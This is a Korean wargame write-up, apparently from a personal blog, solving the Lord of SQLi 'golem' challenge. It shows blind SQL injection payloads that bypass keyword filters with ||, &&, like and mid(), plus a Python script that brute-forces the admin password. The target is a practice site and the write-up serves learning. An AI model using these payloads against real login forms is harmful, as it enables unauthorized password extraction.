문제 페이지를 확인하면 다음과 같다.

소스 코드를 보면 or, and, substr, = 을 필터링하고 있고, 문제 풀이 조건을 보니 정확한 pw값을 입력해야 문제가 풀리는 것 같다.

다음과 같이 or은 ||로, =은 like로 필터링을 우회할 수 있다.

and도 필터링 되어 있기 때문에 '|| id like 'admin' && length(pw) like 1# 와 같은 쿼리로 숫자를 바꿔가며 패스워드 길이를 알아낼 수 있다.

패스워드 길이를 알아내면 패스워드 길이만큼 반복하며 substr이 필터링 되어 있기 때문에 mid 함수를 이용하여 각 자리수에 해당하는 글자를 가져올 수 있다. mid 함수는 mid(문자, 시작위치, 가져올개수)의 형태로 사용하며 다음과 같다.

'abcd'에서 2번째 문자부터 1개의 문자만 가져왔기 때문에 b를 반환한다.

따라서 '|| id like 'admin' && ascii(mid(pw, 1, 1)) like 97# 과 같은 형식으로 쿼리를 전송하면 mid 함수로 pw의 첫번째 글자를 가져온 값의 아스키코드 값이 97인지 아닌지, 확인할 수 있다.

따라서 패스워드의 길이를 구하고, 각 자리에 해당하는 값이 아스키 코드로 변환했을때 0부터 z까지 인지 확인하고 맞는 값을 차례로 저장하는 코드를 작성하면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
header = {'PHPSESSID''ujpger2natc794e8voh11pdhun'}
 
pw_len = 0
while 1:
    pay = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
    params = {'pw': pay}
    rep = requests.get(url,params=params, cookies=header)
    if "Hello admin" in rep.text:
        break
    pw_len += 1
 
print("[*] Password Length : ", pw_len)
 
pw = ''
for i in range(1, pw_len+1):
    for j in range(48,123):
        pay = "' || id like 'admin' && ascii(mid(pw,{},1)) like {}#".format(i,j)
        params = {'pw': pay}
        rep = requests.get(url, params=params, cookies=header)
        if "Hello admin" in rep.text:
            pw += chr(j)
            break
 
print("[*] Password : ", pw)
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25

+ Recent posts